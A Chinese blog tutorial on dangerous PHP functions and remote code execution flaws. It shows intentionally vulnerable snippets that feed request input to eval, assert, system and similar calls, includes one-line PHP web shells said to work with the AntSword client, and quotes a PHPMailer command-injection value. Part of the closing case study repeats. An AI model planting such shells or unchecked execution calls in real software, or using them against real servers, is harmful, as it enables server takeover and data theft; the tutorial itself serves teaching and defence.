php危险函数及rce漏洞

php代码执行语句

eval()

eval()语句

eval() 会将符合PHP 语法规范字符串当作php 代码执行。

<meta charset="UTF-8">
<pre>
    <?php
        $dd=$_REQUEST['dd'];
        eval($dd);
    ?>

image-20231025162854116

image-20231025162904772

可以执行php代码

也可以套一层system执行系统操作指令

image-20231025163012820

assert()函数

assert() 会将字符串当做PHP 代码来执行。

说明

  • assert() 只能执行单条PHP 语句。
  • assert() 是一个函数,可以动态调用。
  • 高版本PHP 中,assert() 被弃用。
<pre>
    <?php
        $dd=$_REQUEST['dd'];
        assert($dd);
    ?>

image-20231025163619147

preg_replace函数

preg_replace() 函数的作用是对字符串进行正则匹配后替换。

$dd=preg_replace("/A/i","j","aJEST");
$dd=preg_replace("/\[.*\]/i","j","[phpinfo()]jboom");
$dd=preg_replace("/\[(.*)\]/i","\\1","[phpinfo()]");

image-20231025175024311

image-20231025175218324

回调函数

call_user_func

<?php
    $func = 'assert';
    $arg = "phpinfo();";

    call_user_func($func, $arg);
?>

image-20231025203432693

array_map

<?php
    $func=$_REQUEST["func"];
    $arr=$_REQUEST["arr"];

    array_map($func,$arr);
?>

image-20231025205231308

动态函数

由于PHP 的特性原因,PHP 的函数支持直接由拼接的方式调用,这直接导致了PHP 在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func() 的初衷一样,用来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。

<?php
    $func=$_REQUEST["func"];
    $arr=$_REQUEST["arr"];

    $func($arr);
?>

image-20231025205056751

os命令执行函数

system函数

system() 能够将字符串作为操作系统(Operator Sytstemc,OS)命令执行。在类似systemc() 函数调用系统命令时,PHP 会自动区分平台。

<pre>
    <?php
        $dd=$_REQUEST['dd'];
        system($dd);
    ?>

image-20231025164312321

image-20231025164539169

exec函数

函数特点

  • 需要输出命令执行结果。
  • 只输出命令执行结果的最后一行,约等于没有回显。
<pre>
<?php
    $dd=$_REQUEST['dd'];
    echo exec($dd);
?>

image-20231025164740146

shell_exec函数

  • 需要输出命令执行结果
<pre>
<?php
    $dd=$_REQUEST['dd'];
    echo shell_exec($dd);
?>

image-20231025164947391

passthru函数

  • 自带输出功能
<pre>
<?php
    $dd=$_REQUEST['dd'];
    passthru($dd);
?>

image-20231025165106983

popen函数

说明

  • 函数返回值为文件指针,可以简单理解为文件名。
<pre>
<?php
    $dd=$_REQUEST['dd'];
    $result=popen($dd,'r');
    echo fread($result,1024);
?>

image-20231025165650275

只返回第一行内容

image-20231025170050481

反引号

反引号` 内的字符串,会被解析成OS 命令

<pre>
<?php
    $dd=$_REQUEST['dd'];
    
    echo `$dd`;
?>

image-20231025170452417

RCE漏洞

漏洞描述

​ 所谓RCE漏洞,即Remote Code/Command Execution,远程代码执行和远程命令执行漏洞。
在很多Web应用中,开发人员会使用一些函数,这些函数以一些字符串作为输入,功能是将输入的字符串当作代码或者命令来进行执行。当用户可以控制这些函数的输入时,就产生了RCE漏洞。
​ RCE漏洞是非常严重的安全漏洞,一旦出现,就意味着攻击者可以获取服务器的命令执行权限,从而对服务器安全造成极大的影响。

漏洞场景

  1. 执行系统命令:攻击者可以利用RCE漏洞执行系统命令,比如创建、修改或删除文件、目录,执行系统脚本等。这使得攻击者能够在目标服务器上执行任意操作。

  2. 控制服务器:攻击者可以利用RCE漏洞获取对服务器的控制权,包括远程登录、修改系统配置、安装后门等。这使得攻击者可以完全控制服务器,进行各种恶意活动。

  3. 数据窃取:攻击者可以利用RCE漏洞窃取服务器上的敏感信息,比如数据库凭据、用户密码、个人数据等。这些信息可以用于进一步的攻击或者非法获利。

  4. 进一步攻击:攻击者可以利用RCE漏洞在目标服务器上执行其他攻击,比如横向移动攻击,通过在受感染的服务器上执行代码,进一步攻击其他服务器或网络中的系统。

  5. 拒绝服务(Denial of Service,DoS)攻击:攻击者可以利用RCE漏洞执行恶意代码来消耗目标服务器的资源,导致服务器崩溃或无法正常工作,从而使服务不可用。

    ​ RCE漏洞的使用场景非常广泛,攻击者可以利用这种漏洞来执行任意操作,控制服务器,窃取敏感信息或者进一步攻击其他系统。

漏洞原理

  1. 用户输入:攻击者通常会找到目标系统上的一个输入点,比如Web应用程序的表单、URL参数、HTTP请求头等。这些输入点允许用户向系统提交数据。
  2. 输入处理:目标系统接收到用户输入后,会对其进行处理。这个处理过程可能包括解析、验证、过滤、拼接等操作。
  3. 注入恶意代码:攻击者利用输入处理过程中的漏洞,注入恶意代码。常见的注入点包括未正确过滤的特殊字符、未正确处理用户输入的引号或其他特殊字符等。
  4. 执行恶意代码:一旦恶意代码成功注入,目标系统在执行时会将其视为合法代码。这使得攻击者能够在目标系统上执行任意操作,比如执行系统命令、访问文件系统、修改配置文件等。
  5. 控制目标系统:通过执行恶意代码,攻击者可以获得对目标系统的控制权。这使得攻击者可以进行进一步的攻击,比如安装后门、窃取敏感信息、横向移动等。

RCE漏洞的原理主要是利用目标系统对用户输入的处理不当,导致攻击者能够注入恶意代码并执行。

漏洞危害

  1. 执行系统命令:RCE漏洞使得攻击者能够在目标系统上执行系统命令,比如创建、修改或删除文件、目录,执行系统脚本等。这使得攻击者可以在目标服务器上执行任意操作,包括控制服务器、窃取敏感信息等。
  2. 控制服务器:RCE漏洞使得攻击者可以获取对服务器的控制权,包括远程登录、修改系统配置、安装后门等。这使得攻击者可以完全控制服务器,进行各种恶意活动,比如植入恶意软件、发起其他攻击等。
  3. 数据窃取:攻击者可以利用RCE漏洞窃取服务器上的敏感信息,比如数据库凭据、用户密码、个人数据等。这些信息可以用于进一步的攻击或者非法获利,比如进行身份盗窃、敲诈勒索等。
  4. 进一步攻击:利用RCE漏洞,攻击者可以在目标服务器上执行其他攻击,比如横向移动攻击。攻击者可以通过在受感染的服务器上执行代码,进一步攻击其他服务器或网络中的系统,从而扩大攻击范围。
  5. 拒绝服务(Denial of Service,DoS)攻击:攻击者可以利用RCE漏洞执行恶意代码来消耗目标服务器的资源,导致服务器崩溃或无法正常工作,从而使服务不可用。这可能导致业务中断、数据丢失等严重后果。

漏洞评级

高危

漏洞验证

网页包含代码假如包含以下代码

<?php
   eval($_REQUEST['cmd']);
?>

即可通过url执行命令

image-20231025211304602

同时该代码存在,也可被蚁剑连接使用

image-20231025211414224

image-20231025211438708

如下代码也行

<?php
   $_GET['a']($_REQUEST['b']);
?>

image-20231025212727953

image-20231025212736272

漏洞利用

  • 可以蚁剑连接执行代码
  • 也可以通过传参执行代码

漏洞防御

  1. 输入验证和过滤:对于用户输入的数据,必须进行严格的验证和过滤,以防止恶意代码的注入。可以使用白名单过滤或正则表达式验证来限制输入的内容,只接受预期的数据。
  2. 输入转义:对于用户输入的数据,必须进行适当的转义,以确保任何特殊字符都被正确处理。这可以通过使用安全的编码函数或框架提供的转义函数来实现。
  3. 最小权限原则:在配置服务器和应用程序时,应使用最小权限原则。即,将服务器和应用程序配置为以最低权限运行,以限制攻击者可能获得的权限。
  4. 安全的代码执行环境:在执行用户输入的代码之前,应确保在一个安全的环境中执行。这可以通过使用沙箱技术、限制执行环境的资源访问权限、禁用危险的系统函数等方式来实现。
  5. 安全的开发实践:在开发过程中,应该遵循安全的开发实践,包括对代码进行安全审查和测试,使用安全的编程语言特性和函数,及时修复已知的漏洞等。
  6. 更新和修补漏洞:及时更新和修补应用程序、操作系统和相关软件的漏洞是至关重要的。漏洞的修复补丁通常会包括对RCE漏洞的修复。

漏洞案例

一个经典的RCE漏洞案例是PHPMailer漏洞(CVE-2016-10033和CVE-2016-10045)。

PHPMailer是一个流行的PHP库,用于发送电子邮件。在2016年之前的版本中,PHPMailer存在一个RCE漏洞,允许攻击者通过构造恶意的电子邮件来执行任意的系统命令。

漏洞的原因是在PHPMailer中,当使用邮件服务器的sendmail功能发送邮件时,可以通过用户提供的邮件主题字段来构造系统命令。然而,这个主题字段没有被适当地验证和过滤,导致攻击者可以注入恶意的命令。

攻击者可以构造一个恶意的邮件主题,其中包含一个系统命令,比如"; ls -la;。当PHPMailer尝试发送这个恶意邮件时,它会将恶意命令传递给系统命令执行函数,导致服务器执行了ls -la命令并返回结果。

这个漏洞的危害非常严重,攻击者可以通过构造恶意的命令来访问文件系统、执行其他系统命令、修改配置文件等。该漏洞在被发现后得到了修复,并提醒开发人员在使用PHPMailer时升级到修复版本以避免RCE漏洞的利用。
r中,当使用邮件服务器的sendmail功能发送邮件时,可以通过用户提供的邮件主题字段来构造系统命令。然而,这个主题字段没有被适当地验证和过滤,导致攻击者可以注入恶意的命令。

攻击者可以构造一个恶意的邮件主题,其中包含一个系统命令,比如"; ls -la;。当PHPMailer尝试发送这个恶意邮件时,它会将恶意命令传递给系统命令执行函数,导致服务器执行了ls -la命令并返回结果。

这个漏洞的危害非常严重,攻击者可以通过构造恶意的命令来访问文件系统、执行其他系统命令、修改配置文件等。该漏洞在被发现后得到了修复,并提醒开发人员在使用PHPMailer时升级到修复版本以避免RCE漏洞的利用。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值